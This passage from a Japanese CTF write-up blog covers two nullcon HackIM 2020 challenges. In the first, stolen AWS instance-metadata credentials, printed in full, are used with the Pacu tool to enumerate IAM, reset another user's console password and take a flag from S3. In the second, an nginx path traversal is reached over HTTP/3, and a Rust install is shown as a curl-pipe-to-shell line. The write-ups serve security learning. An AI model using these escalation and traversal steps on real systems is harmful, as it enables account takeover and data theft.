  "Token" : "IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ==",
  "Expiration" : "2020-02-08T20:39:42Z"
}

Stage2

入手したアクセスキーとAWS用の侵入テストツールであるpacuを使用して、情報収集およびラテラルムーブメントを行う。

github.com

手順に沿ってインストール後、起動する。

root@kali:~/pacu# python3 pacu.py

 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
 ⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
 ⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
 ⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
 ⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
 ⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
 ⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
 ⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀

No database found at /root/pacu/sqlite.db
Database created at /root/pacu/sqlite.db

What would you like to name this new session? hackim
Session hackim created.

        Pacu - https://github.com/RhinoSecurityLabs/pacu
        Written and researched by Spencer Gietzen of Rhino Security Labs - https://rhinosecuritylabs.com/

        This was built as a modular, open source tool to assist in penetration testing an AWS environment.
        For usage and developer documentation, please visit the GitHub page.

        Modules that have pre-requisites will have those listed in that modules help info, but if it is
        executed before its pre-reqs have been filled, it will prompt you to run that module then continue
        once that is finished, so you have the necessary data for the module you want to run.

        Pacu command info:
            list/ls                             List all modules
            load_commands_file <file>           Load an existing file with list of commands to execute
            search [cat[egory]] <search term>   Search the list of available modules by name or category
            help                                Display this page of information
            help <module name>                  Display information about a module
            whoami                              Display information regarding to the active access keys
            data                                Display all data that is stored in this session. Only fields
                                                  with values will be displayed
            data <service>|proxy                Display all data for a specified service or for PacuProxy
                                                  in this session
            services                            Display a list of services that have collected data in the
                                                  current session to use with the "data" command
            regions                             Display a list of all valid AWS regions
            update_regions                      Run a script to update the regions database to the newest
                                                  version
            set_regions <region> [<region>...]  Set the default regions for this session. These space-separated
                                                  regions will be used for modules where regions are required,
                                                  but not supplied by the user. The default set of regions is
                                                  every supported region for the service. Supply "all" to this
                                                  command to reset the region set to the default of all
                                                  supported regions
            run/exec <module name>              Execute a module
            set_keys                            Add a set of AWS keys to the session and set them as the
                                                  default
            swap_keys                           Change the currently active AWS key to another key that has
                                                  previously been set for this session
            import_keys <profile name>|--all    Import AWS keys from the AWS CLI credentials file (located
                                                  at ~/.aws/credentials) to the current sessions database.
                                                  Enter the name of a profile you would like to import or
                                                  supply --all to import all the credentials in the file.
            exit/quit                           Exit Pacu

        Other command info:
            aws <command>                       Run an AWS CLI command directly. Note: If Pacu detects "aws"
                                                  as the first word of the command, the whole command will
                                                  instead be run in a shell so that you can use the AWS CLI
                                                  from within Pacu. Due to the command running in a shell,
                                                  this enables you to pipe output where needed. An example
                                                  would be to run an AWS CLI command and pipe it into "jq"
                                                  to parse the data returned. Warning: The AWS CLI's
                                                  authentication is not related to Pacu. Be careful to
                                                  ensure that you are using the keys you want when using
                                                  the AWS CLI. It is suggested to use AWS CLI profiles
                                                  to solve this problem

        [ADVANCED] PacuProxy command info:
            proxy [help]                        Control PacuProxy/display help
                start <ip> [port]                 Start the PacuProxy listener - port 80 by default.
                                                    The listener will attempt to start on the IP
                                                    supplied, but some hosts don't allow this. In
                                                    this case, PacuProxy will listen on 0.0.0.0 and
                                                    use the supplied IP to stage agents and it should
                                                    work the same
                stop                              Stop the PacuProxy listener
                kill <agent_id>                   Kill an agent (stop it from running on the host)
                list/ls                           List info on remote agent(s)
                use none|<agent_id>               Use a remote agent, identified by unique integers
                                                    (use "proxy list" to see them). Choose "none" to
                                                    no longer use any proxy (route from the local
                                                    host instead)
                shell <agent_id> <command>        Run a shell command on the remote agent
                fetch_ec2_keys <agent_id>         Try to read the meta-data of the target agent to
                                                    request a set of temporary credentials for the
                                                    attached instance profile (if there is one),
                                                    then save them to the Pacu database and set
                                                    them as the active key pair
                stager sh|ps                      Generate a PacuProxy stager. The "sh" format is
                                                    for *sh shells in Unix (like bash), and the "ps"
                                                    format is for PowerShell on Windows

Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...
  User agent for this session set to:
    aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10

インスタンスメタデータから入手したクレデンシャル情報をセットする。

Pacu (hackim:No Keys Set) > set_keys
Setting AWS Keys...
Press enter to keep the value currently stored.
Enter the letter C to clear the value, rather than set it.
If you enter an existing key_alias, that key's fields will be updated instead of added.

Key alias [None]: limited-role
Access key ID [None]: ASIATCUSO7XXPHMSQ3XC
Secret access key [None]: YnHSOXfK1L06PVYJ(snip)
Session token (Optional - for temp AWS keys only) [None]: IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ==

Keys saved to database.

iam__enum_users_roles_policies_groupsで、IAM関連の情報を取得する。

Pacu (hackim:limited-role) > run iam__enum_users_roles_policies_groups
  Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] Found 1 users
[iam__enum_users_roles_policies_groups] Found 3 roles
[iam__enum_users_roles_policies_groups] Found 3 policies
[iam__enum_users_roles_policies_groups] Found 3 groups
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.

[iam__enum_users_roles_policies_groups] MODULE SUMMARY:

  1 Users Enumerated
  3 Roles Enumerated
  3 Policies Enumerated
  3 Groups Enumerated
  IAM resources saved in Pacu database.

取得したIAMの情報を表示する。

Pacu (hackim:limited-role) > data

Session data:
aws_keys: [
    <AWSKey: limited-role>
]
id: 1
created: "2020-02-08 15:10:24.095578"
is_active: true
name: "hackim"
boto_user_agent: "aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10"
key_alias: "limited-role"
access_key_id: "ASIATCUSO7XXPHMSQ3XC"
secret_access_key: "******" (Censored)
session_token: "IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ=="
session_regions: [
    "all"
]
IAM: {
    "Users": [
        {
            "Path": "/",
            "UserName": "poorUser",
            "UserId": "AIDATCUSO7XXPAUMHXSZ2",
            "Arn": "arn:aws:iam::211834306030:user/poorUser",
            "CreateDate": "Thu, 23 Jan 2020 15:42:45",
            "PasswordLastUsed": "Sat, 08 Feb 2020 14:12:41"
        }
    ],
    "Roles": [
        {
            "Path": "/aws-service-role/support.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSupport",
            "RoleId": "AROATCUSO7XXKU7K6BBJM",
            "Arn": "arn:aws:iam::211834306030:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
            "CreateDate": "Thu, 23 Jan 2020 11:20:05",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "support.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Enables resource access for AWS to provide billing, administrative and support services",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
            "RoleName": "AWSServiceRoleForTrustedAdvisor",
            "RoleId": "AROATCUSO7XXCDG4HOBDW",
            "Arn": "arn:aws:iam::211834306030:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
            "CreateDate": "Thu, 23 Jan 2020 11:20:05",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "trustedadvisor.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "limited-role",
            "RoleId": "AROATCUSO7XXK6KY3Y54E",
            "Arn": "arn:aws:iam::211834306030:role/limited-role",
            "CreateDate": "Thu, 23 Jan 2020 16:16:29",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Allows EC2 instances to call AWS services on your behalf.",
            "MaxSessionDuration": 3600
        }
    ],
    "Policies": [
        {
            "PolicyName": "limited-role-2",
            "PolicyId": "ANPATCUSO7XXEQI2GQ6A6",
            "Arn": "arn:aws:iam::211834306030:policy/limited-role-2",
            "Path": "/",
            "DefaultVersionId": "v11",
            "AttachmentCount": 2,
            "IsAttachable": true,
            "CreateDate": "Sat, 08 Feb 2020 07:15:23",
            "UpdateDate": "Sat, 08 Feb 2020 07:50:32"
        },
        {
            "PolicyName": "limiteds3",
            "PolicyId": "ANPATCUSO7XXJVJ3W23VX",
            "Arn": "arn:aws:iam::211834306030:policy/limiteds3",
            "Path": "/",
            "DefaultVersionId": "v1",
            "IsAttachable": true,
            "CreateDate": "Thu, 23 Jan 2020 21:20:26",
            "UpdateDate": "Thu, 23 Jan 2020 21:20:26"
        },
        {
            "PolicyName": "limited",
            "PolicyId": "ANPATCUSO7XXKNAARZWEA",
            "Arn": "arn:aws:iam::211834306030:policy/limited",
            "Path": "/",
            "DefaultVersionId": "v12",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Thu, 23 Jan 2020 15:40:20",
            "UpdateDate": "Sat, 08 Feb 2020 07:11:05"
        }
    ],
    "Groups": [
        {
            "Path": "/",
            "GroupName": "limited2",
            "GroupId": "AGPATCUSO7XXM4A7JKWKI",
            "Arn": "arn:aws:iam::211834306030:group/limited2",
            "CreateDate": "Sat, 08 Feb 2020 07:16:17"
        },
        {
            "Path": "/",
            "GroupName": "limiteds3g",
            "GroupId": "AGPATCUSO7XXCJPDNISWZ",
            "Arn": "arn:aws:iam::211834306030:group/limiteds3g",
            "CreateDate": "Thu, 23 Jan 2020 21:21:19"
        },
        {
            "Path": "/",
            "GroupName": "priv",
            "GroupId": "AGPATCUSO7XXIZJZ6F56S",
            "Arn": "arn:aws:iam::211834306030:group/priv",
            "CreateDate": "Thu, 23 Jan 2020 15:40:53"
        }
    ]
}

Proxy data:
{
  "IP": "0.0.0.0",
  "Port": 80,
  "Listening": false,
  "SSHUsername": "",
  "SSHPassword": "",
  "TargetAgent": []
}

AWSアカウントIDは211834306030であることと、poorUserというIAMユーザーがいることがわかる。

iam__privesc_scanで、他ユーザへの権限昇格を試すと、limited-roleロールにUpdateLoginProfileポリシーがアタッチされていることがわかる。UpdateLoginProfileポリシーを持っていれば、他のIAMユーザのパスワードを変更できるようだ。poorUserのパスワードを変更する。

Pacu (hackim:limited-role) > run iam__privesc_scan
  Running module iam__privesc_scan...
[iam__privesc_scan] No permissions detected yet.
[iam__privesc_scan] Data (Current User/Role > Permissions) not found, run module "iam__enum_permissions" to fetch it? (y/n) y
[iam__privesc_scan]   Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for roles:
[iam__enum_permissions]   limited-role...
[iam__enum_permissions]     Confirmed permissions for limited-role
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY:

  Confirmed permissions for 0 user(s).
  Confirmed permissions for role: limited-role.

[iam__privesc_scan] Escalation methods for current role:
[iam__privesc_scan]   CONFIRMED: UpdateLoginProfile
[iam__privesc_scan] Attempting confirmed privilege escalation methods...

[iam__privesc_scan]   Starting method UpdateLoginProfile...

[iam__privesc_scan]     Is there a specific user you want to target? They must already have a login profile (password for logging into the AWS Console). Enter their user name now or just hit enter to enumerate users and view a list of options:
[iam__privesc_scan] Found 1 user(s). Choose a user below.
[iam__privesc_scan]   [0] Other (Manually enter user name)
[iam__privesc_scan]   [1] All Users
[iam__privesc_scan]   [2] poorUser
[iam__privesc_scan] Choose an option: 2
[iam__privesc_scan]   Running module iam__backdoor_users_password...
[iam__backdoor_users_password] Modifying an IAM user's current password
[iam__backdoor_users_password]   User: poorUser
[iam__backdoor_users_password]     Password successfully changed
[iam__backdoor_users_password]     Password: hqw.yE.a##CfW$V3q"npK_"k"/=&d*4UV0MSItR{(ueW}Gd0[(snip)
[iam__backdoor_users_password] iam__backdoor_users_password completed.

[iam__backdoor_users_password] MODULE SUMMARY:

  1 user(s) backdoored.


[iam__privesc_scan] iam__privesc_scan completed.

[iam__privesc_scan] MODULE SUMMARY:

  Privilege escalation was successful

変更したパスワードで、AWSの管理コンソールにログインする。 f:id:graneed:20200209002646p:plain

poorUserの権限を確認するため、まずはpoorUserが所属しているIAMグループを確認する。 f:id:graneed:20200209002819p:plain

limiteds3glimited2グループに所属している。それぞれにアタッチされているポリシーを確認する。

limiteds3gグループにはAmazonS3ReadOnlyAccessがアタッチされている。 f:id:graneed:20200209003007p:plain

limited2グループには以下の画像のActionが可能なポリシーがアタッチされている。 f:id:graneed:20200209003039p:plain

S3が読めるようなので、S3の画面に遷移すると、怪しいS3バケットを発見する。 f:id:graneed:20200209003313p:plain

flag.txtを発見! f:id:graneed:20200209003345p:plain

ダウンロードすると、フラグが書かれていた。

フラグゲット。
hackim20{Hail_RhinoSecurity_labs!!!!}

nullcon HackIM 2020 Writeup - ghost

Question

Ever had a scary feeling when you are alone that there is something in the room, but you cant see it with your eyes alone?

Don't be scared to probe at - https://web1.ctf.nullcon.net:8443/

Note: Challenge Is Not Down

Solution

Stage1

ChromeでURLにアクセスしてもERR_CONNECTION_REFUSEDが発生する。

ヒントを見ると、女性が1,2,3のカウントをしているgif画像が表示される。
HTTP/3で接続すると繋がるのではと推測する。

curlコマンドでHTTP/3接続するには、HTTP/3対応版のcurlを自分でビルドする必要がある。

HTTP/3対応のcurlインストール

ビルドに必要なパッケージやライブラリをあらかじめインストールしておく。

$ apt install cmake autoconf libtool pkg-config

# RUSTのインストール(cargoコマンドが必要であるため)
$ curl https://sh.rustup.rs -sSf | sh

# golangのインストール
# https://golang.org/dl/ からtar.gzをダウンロード
$ tar -C /usr/local -xzf go1.13.7.linux-amd64.tar.gz
$ export PATH=$PATH:/usr/local/go/bin

以下のページを見ながらビルドを進める。
curl/HTTP3.md at master · curl/curl · GitHub

最後にmake installする。その後、ターミナルの再起動が必要かもしれない。
環境を汚すのが嫌な場合は、./src/curlをそのまま使ってもよい。

成功すると、FeaturesにHTTP3を確認できる。

root@kali:~# curl -V
curl 7.69.0-DEV (x86_64-pc-linux-gnu) libcurl/7.69.0-DEV BoringSSL zlib/1.2.11 quiche/0.2.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 
Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL UnixSockets

攻略

--http3オプションを付けてcurlコマンドを実行すると、推測通りアクセスできた。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/ -v
*   Trying 139.59.34.79:8443...
* Sent QUIC client Initial, ALPN: h3-25h3-24h3-23
* h3 [:method: GET]
* h3 [:path: /]
* h3 [:scheme: https]
* h3 [:authority: web1.ctf.nullcon.net:8443]
* h3 [user-agent: curl/7.69.0-DEV]
* h3 [accept: */*]
* Using HTTP/3 Stream ID: 0 (easy handle 0x55e190e16850)
> GET / HTTP/3
> Host: web1.ctf.nullcon.net:8443
> user-agent: curl/7.69.0-DEV
> accept: */*
> 
< HTTP/3 200
< server: nginx/1.16.1
< date: Sat, 08 Feb 2020 05:00:19 GMT
< content-type: text/html
< content-length: 374
< last-modified: Wed, 05 Feb 2020 19:18:19 GMT
< etag: "5e3b14fb-176"
< alt-svc: h3-23=":443"; ma=86400
< accept-ranges: bytes
< 
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>How are you here?</title>
 
</head>
<body>


<center><h1>Shit! </h1>
<h3>How on earth did you reach here?</h3>
<h3>We added another layer of security to so we dont get hacked. Can you breach that also?</h3>
<img src="/static/giphy.gif"></img>
</center>

<!-- No need to bruteforce# -->

</body>
</html>

* Connection #0 to host web1.ctf.nullcon.net left intact

staticディレクトリを確認すると、ディレクトリリスティングが有効であることがわかる。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static/
<html>
<head><title>Index of /static/</title></head>
<body>
<h1>Index of /static/</h1><hr><pre><a href="../">../</a>
<a href="giphy.gif">giphy.gif</a>                                          05-Feb-2020 19:18             5801332
</pre><hr></body>
</html>

nginxには設定ミスによりパストラバーサルが可能な脆弱性が生まれる。
(2019年のwriteupまとめ記事でも紹介済み)
https://graneed.hatenablog.com/entry/2019/12/29/115100#nginx%E3%81%AE%E8%A8%AD%E5%AE%9A%E4%B8%8D%E5%82%99

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../
<html>
<head><title>Index of /static../</title></head>
<body>
<h1>Index of /static../</h1><hr><pre><a href="../">../</a>
<a href="backup/">backup/</a>                                            05-Feb-2020 19:18                   -
<a href="html/">html/</a>                                              05-Feb-2020 19:18                   -
<a href="static/">static/</a>                                            05-Feb-2020 19:18                   -
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/
<html>
